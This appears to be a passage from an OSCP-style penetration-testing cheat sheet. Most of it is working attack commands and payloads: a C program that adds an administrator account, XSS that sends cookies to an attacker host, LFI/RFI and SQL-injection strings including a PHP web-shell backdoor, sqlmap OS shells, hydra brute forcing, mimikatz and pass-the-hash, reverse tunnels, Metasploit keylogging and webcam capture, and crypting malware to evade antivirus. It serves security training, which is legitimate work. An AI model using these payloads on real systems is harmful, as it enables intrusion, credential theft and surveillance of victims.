APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
Everyone:(I)(F)

  • Compile a custom add user command in windows using C
    root@kali:~# cat useradd.c
    #include <stdlib.h> /* system, NULL, EXIT_FAILURE */
    int main ()
    {
    int i;
    i=system ("net localgroup administrators low /add");
    return 0;
    }

    i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c

  • Group Policy Preferences (GPP)
    A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files

    • map the Domain controller SYSVOL share
      net use z: \\dc01\SYSVOL

    • Find the GPP file: Groups.xml
      dir /s Groups.xml

    • Review the contents for passwords
      type Groups.xml

    • Decrypt using GPP Decrypt
      gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB

  • Find and display the proof.txt or flag.txt - get the loot! #meterpreter > run post/windows/gather/win_privs

    cd\ & dir /b /s proof.txt type c:\pathto\proof.txt

Client, Web and Password Attacks

  • Client Attacks

    • MS12-037- Internet Explorer 8 Fixed Col Span ID
      wget -O exploit.html http://www.exploit-db.com/download/24017
      service apache2 start

    • JAVA Signed Jar client side attack
      echo '<applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1" value="http://$ip:80/evil.exe"></applet>' > /var/www/html/java.html
      User must hit run on the popup that occurs.

    • Linux Client Shells
      http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/

    • Setting up the Client Side Exploit

    • Swapping Out the Shellcode

    • Injecting a Backdoor Shell into Plink.exe
      backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse_shell_tcp

  • Web Attacks

    • Web Shag Web Application Vulnerability Assessment Platform
      webshag-gui

    • Web Shells
      http://tools.kali.org/maintaining-access/webshells
      ls -l /usr/share/webshells/

    • Generate a PHP backdoor (generate) protected with the given password (s3cr3t)
      weevely generate s3cr3t
      weevely http://$ip/weevely.php s3cr3t

    • Java Signed Applet Attack

    • HTTP / HTTPS Webserver Enumeration

      • OWASP Dirbuster

      • nikto -h $ip

    • Essential Iceweasel Add-ons
      Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
      Tamper Data
      https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

    • Cross Site Scripting (XSS)
      significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more

    • Browser Redirection and IFRAME Injection
      <iframe SRC="http://$ip/report" height = "0" width ="0"></iframe>

    • Stealing Cookies and Session Information
      <script>
      new image().src="http://$ip/bogus.php?output="+document.cookie;
      </script>
      nc -nlvp 80

  • File Inclusion Vulnerabilities

    • Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.

    • fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
      https://github.com/kurobeats/fimap

      • Gaining a shell from phpinfo()
        fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.

    • For Local File Inclusions look for the include() function in PHP code.
      include("lang/".$_COOKIE['lang']);
      include($_GET['page'].".php");

    • LFI - Encode and Decode a file using base64
      curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '[^\ ]\{40,\}' | base64 -d

    • LFI - Download file with base 64 encoding
      http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php

    • LFI Linux Files:
      /etc/issue
      /proc/version
      /etc/profile
      /etc/passwd
      /etc/passwd
      /etc/shadow
      /root/.bash_history
      /var/log/dmessage
      /var/mail/root
      /var/spool/cron/crontabs/root

    • LFI Windows Files:
      %SYSTEMROOT%\repair\system
      %SYSTEMROOT%\repair\SAM
      %SYSTEMROOT%\repair\SAM
      %WINDIR%\win.ini
      %SYSTEMDRIVE%\boot.ini
      %WINDIR%\Panther\sysprep.inf
      %WINDIR%\system32\config\AppEvent.Evt

    • LFI OSX Files:
      /etc/fstab
      /etc/master.passwd
      /etc/resolv.conf
      /etc/sudoers
      /etc/sysctl.conf

    • LFI - Download passwords file
      http://$ip/index.php?page=/etc/passwd
      http://$ip/index.php?file=../../../../etc/passwd

    • LFI - Download passwords file with filter evasion
      http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    • Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
      GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00

    • Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>

    • For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files /etc/php5/cgi/php.ini - “allow_url_fopen” and “allow_url_include both set to “on”
      include($_REQUEST["file"].".php");

    • Remote File Inclusion
      http://$ip/addguestbook.php?name=a&comment=b&LANG=http://$localip/evil.txt
      <?php echo shell_exec("ipconfig");?>

  • Database Vulnerabilities

    • MySQL SQL

    • Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password
      mysql -u root -p -h $ip
      use "Users"
      show tables;
      select * from users;

    • Authentication Bypass
      name='wronguser' or 1=1;#
      name='wronguser' or 1=1 LIMIT 1;#

    • Enumerating the Database
      http://$ip/comment.php?id=738’
      Verbose error message?
      http://$ip/comment.php?id=738 order by 1
      http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6
      Determine MySQL Version:
      http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6
      current user being used for the database connection
      http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6
      we can enumerate database tables and column structures
      http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables
      target the users table in the database
      http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'
      extract the name and password
      http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users
      Create a backdoor
      http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

    • SQLMap Examples

  • Crawl the links
    sqlmap -u http://$ip --crawl=1
    sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3

  • SQLMap Search for databases against a suspected GET SQL Injection point ‘search’**
    sqlmap –u http://$ip/blog/index.php?search –dbs

  • SQLMap dump tables from database oscommerce at GET SQL injection point ‘search’ sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps

  • SQLMap GET Parameter command
    sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5

  • SQLMap Post Username parameter sqlmap -u http://$ip/login.php --method=POST --data="usermail=[email protected]&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all

  • SQL Map OS Shell sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshell
    sqlmap -u http://$ip/login.php --method=POST --data="usermail=[email protected]&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell

  • Automated sqlmap scan
    sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE
    --level=3 --current-user --current-db --passwords
    --file-read="/var/www/blah.php"

  • Targeted sqlmap scan
    sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump

  • Scan url for union + error based injection with mysql backend
    and use a random user agent + database dump
    sqlmap -o -u http://$ip/index.php --forms --dbs
    sqlmap -o -u "http://$ip/form/" --forms
    sqlmap check form for injection
    sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump
    sqlmap dump and crack hashes for table users on database-name.

Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs
Enumerate tables from a specific database
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables
Dump table data from a specific database and table
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump
Specify parameter to exploit
sqlmap --dbms=mysql -u "http://www.example.com/param1=value1&param2=value2" --dbs -p param2
Specify parameter to exploit in 'nice' URIs
sqlmap --dbms=mysql -u "http://www.example.com/param1/value1\*/param2/value2" --dbs # exploits param1
Get OS shell
sqlmap --dbms=mysql -u "$URL" --os-shell
Get SQL shell
sqlmap --dbms=mysql -u "$URL" --sql-shell
SQL query
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"
Use Tor Socks5 proxy
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

  • Password Attacks

    • AES Decryption
      http://aesencryption.net/

    • Convert multiple webpages into a word list
      for x in 'index' 'about' 'post' 'contact' ; do curl http://$ip/$x.html | html2markdown | tr -s ' ' '\n' >> webapp.txt ; done

    • Or convert html to word list dict
      html2dic index.html.out | sort -u > index-html.dict

    • Default Usernames and Passwords

    • Brute Force

      • Nmap Brute forcing Scripts
        https://nmap.org/nsedoc/categories/brute.html

      • Nmap Generic auto detect brute force attack
        nmap --script brute -Pn <target.com or ip> <enter>

      • MySQL nmap brute force attack
        nmap --script=mysql-brute $ip

    • Dictionary Files

      • Word lists on Kali
        cd /usr/share/wordlists

    • Key-space Brute Force

      • crunch 6 6 0123456789ABCDEF -o crunch1.txt

      • crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha

      • crunch 8 8 -t ,@@^^%%%

    • Pwdump and Fgdump - Security Accounts Manager (SAM)

      • pwdump.exe - attempts to extract password hashes

      • fgdump.exe - attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials.

    • Windows Credential Editor (WCE)

      • allows one to perform several attacks to obtain clear text passwords and hashes

      • wce -w

    • Mimikatz

      • extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
        https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have System level access): meterpreter> load mimikatz meterpreter> help mimikatz meterpreter> msv meterpreter> kerberos meterpreter> mimikatz_command -f samdump::hashes meterpreter> mimikatz_command -f sekurlsa::searchPasswords

    • Password Profiling

      • cewl can generate a password list from a web page
        cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt

    • Password Mutating

      • John the ripper can mutate password lists
        nano /etc/john/john.conf
        john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt

    • Medusa

      • Medusa, initiated against an htaccess protected web directory
        medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10

    • Ncrack

      • ncrack (from the makers of nmap) can brute force RDP
        ncrack -vv --user offsec -P password-file.txt rdp://$ip

    • Hydra

      • Hydra brute force against SNMP
        hydra -P password-file.txt -v $ip snmp

      • Hydra FTP known user and password list
        hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp

      • Hydra SSH using list of users and passwords
        hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh

      • Hydra SSH using a known password and a username list
        hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh

      • Hydra SSH Against Known username on port 22 hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt

      • Hydra POP3 Brute Force
        hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V

      • Hydra SMTP Brute Force
        hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V

      • Hydra attack http get 401 login with a dictionary
        hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin

      • Hydra attack Windows Remote Desktop with rockyou hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip

  • Password Hash Attacks

  • John the Ripper - Password Hash Cracking

    • john $ip.pwdump

    • john --wordlist=/usr/share/wordlists/rockyou.txt hashes

    • john --rules --wordlist=/usr/share/wordlists/rockyou.txt

    • john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

    • JTR forced descrypt cracking with wordlist
      john --format=descrypt --wordlist
      /usr/share/wordlists/rockyou.txt hash.txt

    • JTR forced descrypt brute force cracking
      john --format=descrypt hash --show

  • Passing the Hash in Windows

    • Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system:

      export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896

      pth-winexe -U administrator //$ip cmd

Networking, Pivoting and Tunneling

  • Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port

    • apt-get install rinetd

    • cat /etc/rinetd.conf
      # bindadress bindport connectaddress connectport
      w.x.y.z 53 a.b.c.d 80

  • SSH Local Port Forwarding: supports bi-directional communication channels

    • ssh <gateway> -L <local port to listen>:<remote host>:<remote port>

  • SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network

    • ssh <gateway> -R <remote port to bind>:<local host>:<local port>

  • SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT

    • ssh -D <local proxy port> -p <remote port> <target>

  • Proxychains - Perform nmap scan within a DMZ from an external computer

    • Create reverse SSH tunnel from Popped machine on :2222
      ssh -f -N -R 2222:$ip:22 root@$ip

    • Create a Dynamic application-level port forward on 8080 thru 2222
      ssh -f -N -D $ip:8080 -p 2222 hax0r@$ip

    • Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
      proxychains nmap --top-ports=20 -sT -Pn $ip/24

  • HTTP Tunneling
    nc -vvn $ip 8888

  • Traffic Encapsulation - Bypassing deep packet inspection

    • http_tunnel
      On server side:
      sudo hts -F <server_ip_addr>:<port_of_your_app> 80
      On client side:
      sudo htc -P <my_proxy.com:proxy_port> -F <port_of_your_app> <server_ip_addr>:80
      stunnel

  • Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network

    • Tunnel on port 22
      plink -l root -pw pass -R 3389:$ip:3389 $ip

    • Port 22 blocked? Try port 80? or 443?
      plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P 80

  • Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)

    • Windows machine add required firewall rules without prompting the user

    • netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes

    • netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000

    • netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080

    • netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079

    • Start the http tunnel client
      httptunnel_client.exe

    • Create HTTP reverse shell by connecting to localhost port 3000
      plink -l root -pw 23847sd98sdf987sf98732 -R 3389:$ip:3389 $ip -P 3000

  • VLAN Hopping

  • VPN Hacking

    • Identify VPN servers:
      ./udp-protocol-scanner.pl -p ike $ip

    • Scan a range for VPN servers:
      ./udp-protocol-scanner.pl -p ike -f ip.txt

    • Use IKEForce to enumerate or dictionary attack VPN servers:
      pip install pyip
      git clone https://github.com/SpiderLabs/ikeforce.git
      Perform IKE VPN enumeration with IKEForce:
      ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
      Bruteforce IKE VPN using IKEForce:
      ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
      Use ike-scan to capture the PSK hash:
      ike-scan
      ike-scan TARGET-IP
      ike-scan -A TARGET-IP
      ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
      ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
      Use psk-crack to crack the PSK hash
      psk-crack hash-file.txt
      pskcrack
      psk-crack -b 5 TARGET-IPkey
      psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
      psk-crack -d /path/to/dictionary-file TARGET-IP-key

  • PPTP Hacking

    • Identifying PPTP, it listens on TCP: 1723
      NMAP PPTP Fingerprint:
      nmap –Pn -sV -p 1723 TARGET(S)
      PPTP Dictionary Attack
      thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst

  • Port Forwarding/Redirection

  • PuTTY Link tunnel - SSH Tunneling

    • Forward remote port to local address:
      plink.exe -P 22 -l root -pw "1337" -R 445:$ip:445 $ip

  • SSH Pivoting

    • SSH pivoting from one network to another:
      ssh -D $ip:1010 -p 22 user@$ip

  • DNS Tunneling

The Metasploit Framework

  • See Metasploit Unleashed Course in the Essentials

  • Search for exploits using Metasploit GitHub framework source code:
    https://github.com/rapid7/metasploit-framework
    Translate them for use on OSCP LAB or EXAM.

  • Metasploit

    • MetaSploit requires Postfresql
      systemctl start postgresql

    • To enable Postgresql on startup
      systemctl enable postgresql

  • MSF Syntax

    • Start metasploit
      msfconsole
      msfconsole -q

    • Show help for command
      show -h

    • Show Auxiliary modules
      show auxiliary

    • Use a module
      use auxiliary/scanner/snmp/snmp_enum
      use auxiliary/scanner/http/webdav_scanner
      use auxiliary/scanner/smb/smb_version
      use auxiliary/scanner/ftp/ftp_login
      use exploit/windows/pop3/seattlelab_pass

    • Show the basic information for a module
      info

    • Show the configuration parameters for a module
      show options

    • Set options for a module
      set RHOSTS $ip-254
      set THREADS 10

    • Run the module
      run

    • Execute an Exploit
      exploit

    • Search for a module
      search type:auxiliary login

  • Metasploit Database Access

    • Show all hosts discovered in the MSF database
      hosts

    • Scan for hosts and store them in the MSF database
      db_nmap

    • Search machines for specific ports in MSF database
      services -p 443

    • Leverage MSF database to scan SMB ports (auto-completed rhosts)
      services -p 443 --rhosts

  • Staged and Non-staged

    • Non-staged payload - is a payload that is sent in its entirety in one go

    • Staged - sent in two parts
      Not have enough buffer space
      Or need to bypass antivirus

  • Experimenting with Meterpreter

    • Get system information from Meterpreter Shell
      sysinfo

    • Get user id from Meterpreter Shell
      getuid

    • Search for a file
      search -f *pass*.txt

    • Upload a file
      upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec

    • Download a file
      download c:\\Windows\\system32\\calc.exe /tmp/calc.exe

    • Invoke a command shell from Meterpreter Shell
      shell

    • Exit the meterpreter shell
      exit

  • Metasploit Exploit Multi Handler

    • multi/handler to accept an incoming reverse_https_meterpreter payload
      use exploit/multi/handler
      set PAYLOAD windows/meterpreter/reverse_https
      set LHOST $ip
      set LPORT 443
      exploit
      [*] Started HTTPS reverse handler on https://$ip:443/

  • Building Your Own MSF Module

    • mkdir -p ~/.msf4/modules/exploits/linux/misc
      cd ~/.msf4/modules/exploits/linux/misc
      cp /usr/share/metasploitframework/modules/exploits/linux/misc/gld_postfix.rb ./crossfire.rb
      nano crossfire.rb

  • Post Exploitation with Metasploit

    • download Download a file or directory
      upload Upload a file or directory
      portfwd Forward a local port to a remote service
      route View and modify the routing table
      keyscan_start Start capturing keystrokes
      keyscan_stop Stop capturing keystrokes
      screenshot Grab a screenshot of the interactive desktop
      record_mic Record audio from the default microphone for X seconds
      webcam_snap Take a snapshot from the specified webcam
      getsystem Attempt to elevate your privilege to that of local system.
      hashdump Dumps the contents of the SAM database

  • Meterpreter Post Exploitation Features

    • Create a Meterpreter background session
      background

Bypassing Antivirus Software

  • Crypting Known Malware with Software Protectors

    • One such open source crypter, called Hyperion
      cp /usr/share/windows-binaries/Hyperion-1.0.zip
      unzip Hyperion-1.0.zip
      cd Hyperion-1.0/
      i686-w64-mingw32-g++ Src/Crypter/*.cpp -o hyperion.exe
      cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-1.dll .
      cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-6.dll .
      wine hyperion.exe ../backdoor.exe ../crypted.exe

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